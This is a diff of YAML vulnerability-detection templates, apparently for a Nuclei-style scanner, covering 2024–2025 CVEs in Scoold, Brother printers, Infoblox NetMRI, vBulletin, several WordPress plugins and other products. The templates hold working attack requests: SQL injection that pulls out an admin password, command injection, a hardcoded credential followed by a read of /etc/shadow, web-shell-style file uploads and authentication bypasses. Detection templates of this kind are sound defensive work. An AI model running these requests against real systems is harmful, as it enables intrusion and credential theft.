+    Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.
+  reference:
+    - https://xbow.com/blog/xbow-scoold-vuln/
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-50334
+    - https://github.com/Erudika/scoold/releases/tag/1.64.0
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2024-50334
+    cwe-id: CWE-288
+    epss-score: 0.00118
+    epss-percentile: 0.31616
+    cpe: cpe:2.3:a:erudika:scoold:*:*:*:*:*:*:*:*
+  metadata:
+    vendor: erudika
+    product: scoold
+    shodan-query: html:"scoold-wrapper"
+    verified: true
+    max-request: 1
+  tags: cve,cve2024,scoold,info-leak,erudika,auth-bypass
+
+http:
+  - raw:
+      - |
+        PUT /api;/config HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/hocon
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body, "scoold.app_name")'
+          - 'contains(content_type,"application/json")'
+          - 'status_code==200'
+        condition: and
+# digest: 4a0a0047304502200873a3c3b48733b3fa07f476de41e9344b198f1818e5f31b65a93eeead5c2648022100aa8ca54c2ce28c263a2546ebdb6b0289335d8dd6854578031910425148ccd98a:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-51977.yaml

@@ -32,12 +32,9 @@ http:
           - '"IP Address"'
         condition: and
 
-      - type: word
-        part: content_type
-        words:
-          - "text/comma-separated-values"
-
-      - type: status
-        status:
-          - 200
-# digest: 4a0a0047304502206acba21c6020a5432ff0cf25085c6ebeba4eb7adfce4cbd2d2622c1130d166cb022100dec80eac34716cfa07b49958ade48247ca9cac54172517ad63180cf8a47a9196:922c64590222798bb761d5b6d8e72950
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - 'contains(content_type, "text/comma-separated-values")'
+        condition: and
+# digest: 4a0a00473045022100d6c820c3209e619f4574945ad16ff80f29b24abb175306d3e2c6f0491ef8714d02205b988a6fa34c3dc6baf1b5d161d8ec62bef5ac03b6ed1a18b39659948fe535f5:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-51978.yaml

@@ -2,30 +2,35 @@ id: CVE-2024-51978
 
 info:
   name: Brother Printers – Authentication Bypass via Default Admin Password
-  author: iamnoooob,pdresearch
+  author: iamnoooob,pdresearch,MathematicianGoat
   severity: critical
   description: |
-    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.
-    The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
+    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
   reference:
     - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed
     - https://github.com/sfewer-r7/BrotherVulnerabilities
     - https://support.brother.com/g/b/faqend.aspx?c=eu_ot&lang=en&prod=group2&faqid=faq00100846_000
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-51978
   classification:
-    cvss-score: 9.8
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
     cve-id: CVE-2024-51978
-    epss-score: 0.02681
-    epss-percentile: 0.85258
+    cwe-id: CWE-1391
   metadata:
-    fofa-query:
-      - app="brother-Printer"
-    zoomeye-query:
-      - device="brother-Printer" || app="brother-Printer"
-  tags: cve,cve2024,brother,authentication,default-login
+    fofa-query: app="brother-Printer"
+    zoomeye-query: device="brother-Printer" || app="brother-Printer"
+  tags: cve,cve2024,brother,authenticated,default-login
 
 # Flow: Extract serial → Generate password → Login attempt
-flow: http(1) && javascript() && http(2) & http(3)
+flow: |
+  http(1)
+  javascript()
+  http(2)
+  if(template.csrf){
+   http(4)
+  } else {
+   http(3)
+  }
 
 javascript:
   - code: |
@@ -128,6 +133,7 @@ javascript:
     args:
       serial: "{{trim_space(replace(replace(replace_regex(srno,'(BR[A-Z0-9]+)',''),']',''),'[',''))}}"
 
+
 http:
   - raw:
       - |
@@ -167,9 +173,31 @@ http:
         part: body
         name: csrf
         group: 1
+        internal: true
         regex:
           - 'id="CSRFToken" name="CSRFToken" value="(.*?)"'
-        internal: true
+
+  - raw:
+      - |
+        POST /general/status.html HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code==200 || status_code == 301'
+          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
+        condition: and
+
+    extractors:
+      - type: dsl
+        name: login_password
+        dsl:
+          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')
+
 
   - raw:
       - |
@@ -191,4 +219,4 @@ http:
         name: login_password
         dsl:
           - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')
-# digest: 4a0a00473045022044251f2d7ba0a567db0c4afaba28c0dce966d14940c2aa04d21717bc7ffd5901022100dc6b53d3af503d353776f9009ae838051900465938058267b280961203e5f449:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206ee013df3f00551cb01df164e8c3ef3c1d2d358aa40bd30156f556a42ba2f69902203f75a956a553f352ec482b3e4117ecc3afaa67b7c3dd77c3b6ec9ce69ac4cdd2:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-2010.yaml

@@ -0,0 +1,93 @@
+id: CVE-2025-2010
+
+info:
+  name: WordPress JobWP Plugin <= 2.3.9 - SQL Injection
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    The JobWP - Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the 'jobwp_upload_resume' parameter in all versions up to, and including, 2.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
+  impact: |
+    Successful exploitation could allow an attacker to execute arbitrary SQL queries, potentially leading to data exfiltration, privilege escalation, or other malicious activities.
+  remediation: |
+    Update the JobWP Plugin to version later than 2.3.9. Alternatively, implement proper input validation and sanitization controls.
+  reference:
+    - https://wpscan.com/vulnerability/26713902-26d8-47e3-b651-fe30d9898270/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-2010
+  classification:
+    cve-id: CVE-2025-2010
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cwe-id: CWE-89
+  metadata:
+    verified: true
+    max-request: 1
+    product: jobwp
+    fofa-query: body="/wp-content/plugins/jobwp"
+  tags: cve,cve2025,wp,wordpress,wp-plugin,sqli,jobwp
+
+flow: http(1) && http(2)
+
+variables:
+  jobid: "{{jobid}}"
+
+http:
+  - raw:
+      - |
+        GET /jobs/{{jobid}}/ HTTP/1.1
+        Host: {{Hostname}}
+
+    extractors:
+      - type: regex
+        part: body
+        name: nonce
+        group: 1
+        regex:
+          - 'jobwp_apply_form_nonce_field" value="([a-z0-9]+)"'
+        internal: true
+
+  - raw:
+      - |
+        @timeout: 30s
+        POST /jobs/{{jobid}}/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEUzdqU65JI5EA04B
+
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="jobwp_apply_form_nonce_field"
+
+        {{nonce}}
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="x"
+
+        /jobs/{{jobid}}/
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="jobwp_apply_for"
+
+        x
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="jobwp_full_name"
+
+        x
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="jobwp_email"
+
+        [email protected]
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="jobwp_cover_letter"
+
+        x
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B
+        Content-Disposition: form-data; name="jobwp_upload_resume"; filename="xxxxxx\"*sleep(7)*\".pdf"
+        Content-Type: application/pdf
+
+        x
+        ------WebKitFormBoundaryEUzdqU65JI5EA04B--
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=7'
+          - "status_code == 200"
+          - "contains_all(body, 'jobwp-', 'apply-')"
+        condition: and
+# digest: 4b0a00483046022100b674380bd60805e308156d4df88bfb5050a42e46ae7fa8ed133573aae08b13780221008d3e88b19f31f848a280637936350454d52bb9c25ace33dc0c479583d0360705:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-27505.yaml

@@ -0,0 +1,51 @@
+id: CVE-2025-27505
+
+info:
+  name: GeoServer - Missing Authorization on REST API Index
+  author: securitytaters
+  severity: medium
+  description: |
+    GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.
+  reference:
+    - http://geoserver.org/
+    - https://geoserver.org/vulnerability/2025/06/10/cve-disclosure.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-27505
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2025-27505
+    cwe-id: CWE-862
+    cpe: cpe:2.3:a:geoserver:geoserver:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    fofa-query: app="geoserver"
+    shodan-query: http.title:"geoserver"
+    vendor: osgeo
+    product: geoserver
+  tags: cve,cve2025,geoserver,misconfig,osgeo
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest.html"
+      - "{{BaseURL}}/geoserver/rest.html"
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Geoserver Configuration API"
+
+      - type: word
+        part: body
+        words:
+          - "about/status"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a0048304602210092acb399be85f3104aa97058059696be5dcb6871962a5d2bbbc7a48dfb97013b02210090e8e0f6dcb2de85832e6744c863a10489ec3f4bed5205bfa30b0bdd3d130a81:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-31125.yaml

@@ -59,4 +59,4 @@ http:
         part: header
         words:
           - "text/javascript"
-# digest: 4a0a00473045022100f4888bc3987c28dd86efcc910679810d5bcfcb0b6767355514d41d24cf7dd89302203e5a2324050aa4764030ebf03f9522cc25d0f8fdff6946ce501d2c91d3f64aa6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dc7cc909ecd1132da04caa468989d94df791d7eb662beb3977bd52ea3ad4c271022100f8f36f9097d71b17f67ad2990320d5082b0274a37d9845dcabd9f13b81a89ded:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-32813.yaml

@@ -0,0 +1,51 @@
+id: CVE-2025-32813
+
+info:
+  name: Infoblox NetMRI < 7.6.1 - Unauthenticated Command Injection in get_saml_request
+  author: iamnoooob,pdresearch
+  severity: high
+  description: |
+    An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.
+  reference:
+    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
+    - https://github.com/RhinoSecurityLabs/CVEs
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 7.2
+    cve-id: CVE-2025-32813
+    cwe-id: CWE-77
+    epss-score: 0.00203
+    epss-percentile: 0.42887
+    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: infoblox
+    product: netmri
+    fofa-query: "Infoblox NetMRI"
+  tags: cve,cve2025,infoblox,netmri,rce
+
+http:
+  - raw:
+      - |
+        GET /webui/application/get_saml_request?saml_id=1%26$(id|%20base64); HTTP/1.1
+        Host: {{Hostname}}
+
+    extractors:
+      - type: regex
+        name: idcmd
+        part: body
+        group: 1
+        regex:
+          - "sh: (.*?): command"
+        internal: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body, "sh", ": command not found","message")'
+          - 'contains(content_type,"application/json")'
+          - 'contains_all(base64_decode(idcmd),"uid=","gid=")'
+          - 'status_code==500'
+        condition: and
+# digest: 4b0a00483046022100c71e2098e6f80c1205fd43e8a873496309e95236a435297c2923db181c0fa421022100f1b7c562b690b3669e87015a82febe052c8175adb1574fa27bae92a2c073c5d9:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-32814.yaml

@@ -0,0 +1,53 @@
+id: CVE-2025-32814
+
+info:
+  name: NetMRI Unauthenticated SQL Injection via skipjackUsername
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32814
+    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-32814
+    cwe-id: CWE-89
+    epss-score: 0.00052
+    epss-percentile: 0.1628
+    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: infoblox
+    product: netmri
+    fofa-query: icon_hash="-319724102"
+  tags: cve,cve2025,sqli,unauth,netmri,rails,error-based
+
+http:
+  - raw:
+      - |
+        GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName=%22admin%22),%22password%22,1),CHAR(126)),null)--%22&skipjackPassword=anything&weakPassword=true&eulaAccepted=Accept&mode=DO-LOGIN HTTP/1.1
+        Host: {{Hostname}}
+
+
+    extractors:
+      - type: regex
+        part: body
+        name: password
+        group: 1
+        regex:
+          - "XPATH syntax error: '~(.*?)~'"
+        internal: true
+
+      - type: dsl
+        dsl:
+          - "'Password: ' + password"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'XPATH syntax error:'
+# digest: 4a0a00473045022100cca1ce922087bc5d748947209efd93415f4d50958e8b77a56d6a306573fb168202207415c11be4c2027f13b4f6e00933e9480728e285563f540c18977df93094bb10:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-32815.yaml

@@ -0,0 +1,54 @@
+id: CVE-2025-32815
+
+info:
+  name: NetMRI < 7.6.1 - Authentication Bypass via Hardcoded Credentials
+  author: iamnoooob,pdresearch
+  severity: medium
+  description: |
+    An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.
+  reference:
+    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32815
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
+    cvss-score: 6.5
+    cve-id: CVE-2025-32815
+    cwe-id: CWE-287
+    epss-score: 0.00076
+    epss-percentile: 0.23509
+    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: infoblox
+    product: netmri
+    fofa-query: icon_hash="-319724102"
+  tags: cve,cve2025,auth-bypass,netmri,hardcoded,infoblox
+
+http:
+  - raw:
+      - |
+        GET /netmri/common/SetRawCookie.tdf?name=letmein&value=%78%79%7a%0d%0a%55%73%65%72%4e%61%6d%65%3d%61%64%6d%69%6e HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic X3BtOnBtMTk3MjY=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(set_cookie, "Skipjack-")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /visual/ViewerFileServlet?fileName=/etc/shadow HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains_all(body, 'root:','bin:','netmri:')"
+          - "contains(content_type, 'text/xml')"
+        condition: and
+# digest: 4b0a00483046022100b3a41599666bba658de3010c5c6a7773975d3418ed44ffab4d4d27c1b2bc3a27022100f6f590cb3e94016d2586eacd8714191c48a9b139060ad709bf29540b52a15090:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34040.yaml

@@ -0,0 +1,56 @@
+id: CVE-2025-34040
+
+info:
+  name: Zhiyuan OA Platform - Arbitrary File Upload
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.
+  reference:
+    - https://www.cve.org/CVERecord?id=CVE-2025-34040
+    - https://www.cnblogs.com/pursue-security/p/17677130.html
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: body="seeyon/index.jsp"
+  tags: cve,cve2025,file-upload,intrusive,zhiyuan,lfi
+
+variables:
+  marker: "{{randstr}}"
+  filename: "{{randbase(8)}}"
+
+http:
+  - raw:
+      - |
+        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{filename}}.jsp&fileId=2 HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
+        Accept-Encoding: gzip
+
+        --59229605f98b8cf290a7b8908b34616b
+        Content-Disposition: form-data; name="upload"; filename="123.xls"
+        Content-Type: application/vnd.ms-excel
+
+        <%@ page import="java.util.Base64" %><%= new String(Base64.getDecoder().decode("{{base64(marker)}}"), "UTF-8") %>
+        --59229605f98b8cf290a7b8908b34616b--
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "officeTransResultFlag"
+          - '"success":true'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /{{filename}}.jsp HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "{{marker}}"
+# digest: 490a00463044022058d0147a0cfd67090b51e02f46c0afe459b7a3ee83026f2e987451630b1451f40220666af4ce7a27dd517860fb711ddb95b7b012f524d8a31616026cc20dfd752f3b:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34085.yaml

@@ -1,20 +1,25 @@
-id: wordpress-rce-simplefilelist
+id: CVE-2025-34085
 
 info:
-  name: WordPress SimpleFilelist - Remote Code Execution
+  name: WordPress Simple File List <=4.2.2 - Remote Code Execution
   author: princechaddha
   severity: critical
   description: |
-    Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a PHP file.
+    An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.
   reference:
     - https://wpscan.com/vulnerability/10192
+    - https://github.com/advisories/GHSA-8xp7-p66p-4h9h
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34085
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
-    cwe-id: CWE-77
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-34085
+    cwe-id: CWE-434
   metadata:
+    verified: true
     max-request: 3
-  tags: wp,wpscan,wordpress,wp-plugin,rce,intrusive,fileupload
+    fofa-query: body="/wp-content/plugins/simple-file-list/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,rce,file-upload,intrusive,simple-file-list
 
 variables:
   filepath: '{{rand_base(7, "abcdefghi")}}'
@@ -50,6 +55,7 @@ http:
 
         <?php echo md5("{{string}}");unlink(__FILE__);?>
         --6985fa39c0698d07f6d418b37388e1b2--
+
       - |
         POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
         Host: {{Hostname}}
@@ -58,6 +64,7 @@ http:
         Content-Type: application/x-www-form-urlencoded
 
         eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php
+
       - |
         GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1
         Host: {{Hostname}}
@@ -72,4 +79,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100a503ff7d855f8a38768a255a69ec666b9f9a5d52743647994be40e95b009b861022100b0862fcf74bc5adbd269e80ff671926e04df27a24211d6dd715bb3aac11cf498:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022035c42326ed551e9eeef34b043883b7f4d8f93d6cb022b54e1c6367e7a6feb3b802201353a9a72ff9925b3d8416d7ba81620c4e7168442b042758f9b39306e5f457a8:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-41646.yaml

@@ -0,0 +1,49 @@
+id: CVE-2025-41646
+
+info:
+  name: RevPi Webstatus <= v2.4.5 - Authentication Bypass
+  author: DhiyaneshDK
+  severity: critical
+  description: |
+    An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
+  reference:
+    - https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json
+    - https://x.com/win3zz/status/1940397684176904607
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-41646
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-41646
+    cwe-id: CWE-704
+    epss-score: 0.00557
+    epss-percentile: 0.67101
+    cpe: cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: kunbus
+    product: revpi_status
+    shodan-query: title:"RevPi"
+  tags: cve,cve2025,kunbus,revpi-status,auth-bypass,revpi
+
+http:
+  - raw:
+      - |
+        POST /php/dal.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"mode":"LOGIN","username":"admin","hashcode":true}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"status":"SUCCESS"'
+          - '"sessionId":'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 490a00463044022026a3c3a84089f28c72b6ae45152ca805ade87a341d6340ea85060677df8c9dd802202c080683a7053341194f04c8ae68c13d64a15ce9d1ad76c94137640590c2ff8a:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-4380.yaml

@@ -0,0 +1,46 @@
+id: CVE-2025-4380
+
+info:
+  name: Ads Pro Plugin <= 4.89 - Local File Inclusion
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.
+  impact: |
+    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
+  remediation: |
+    Update the Ads Pro Plugin to version later than 4.89. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
+  reference:
+    - https://wpscan.com/vulnerability/63964564-73e6-45e2-8145-33e2e30d1d57/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-4380
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-4380
+    cwe-id: CWE-98
+    cpe: cpe:2.3:a:scripteo:ads_pro:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: scripteo
+    product: ads_pro
+    fofa-query: body="/wp-content/plugins/ap-plugin-scripteo"
+  tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,scripteo,ads-pro
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=bsa_preview_callback&bsa_template=../php/example
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body, 'Example PHP Ad')"
+          - "contains(content_type, 'text/html')"
+          - "status_code == 200"
+        condition: and
+# digest: 4a0a00473045022100d7ad99b9ac1f5cab4c922a0112a7298f4d9413905afc896180ca0cfe32ed4a33022073bf65a0c9bf74d0a935ea10a82456571e36400480619cb5b61eae6e149bf443:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-45854.yaml

@@ -13,7 +13,7 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10
     cve-id: CVE-2025-45854
-    cwe-id: CWE-869
+    cwe-id: CWE-862,CWE-434
   metadata:
     max-request: 1
     product: jehc-bpm
@@ -68,4 +68,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220287eb7b2b7af14cf8eaf16107f0a6b08ff23685a8da2b9e8bc4dbcc1210b4270022100e37415282b012f14d33d77a1e8202863e203e7c8f20b1135461ffffa9ae399dd:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b4cac38e8a2b439dbe214503166e8d72d8a2cc9cc6621c99a0414e9d39a5f5900220768ee51f032c0f2e4e53915e26de2863a917fe73faebe10605f03d03fb11162d:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-48827.yaml

@@ -0,0 +1,51 @@
+id: CVE-2025-48827
+
+info:
+  name: vBulletin 5.0.0-6.0.3 - Authentication Bypass
+  author: pszyszkowski
+  severity: critical
+  description: |
+    vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.
+  impact: |
+    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
+  remediation: |
+    Upgrade to vBulletin 6.0.4+ before upgrading to PHP 8.1.
+  reference:
+    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-48827
+    cwe-id: CWE-424
+    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: vbulletin
+    product: vbulletin
+    fofa-query: app="vBulletin"
+    shodan-query: http.component:"vBulletin"
+  tags: cve,cve2025,rce,vbulletin,intrusive
+
+variables:
+  rand_string: "{{to_lower(rand_base(5))}}"
+  rand_value: "{{to_lower(rand_text_alpha(5))}}"
+
+http:
+  - raw:
+      - |
+        POST /ajax/api/ad/wrapAdTemplate HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        template={{rand_string}}&id_name={{rand_value}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - status_code == 200
+          - contains(content_type, 'application/json')
+          - contains_all(body,'<div class=','ad_{{rand_value}}_inner','{{rand_string}}')
+        condition: and
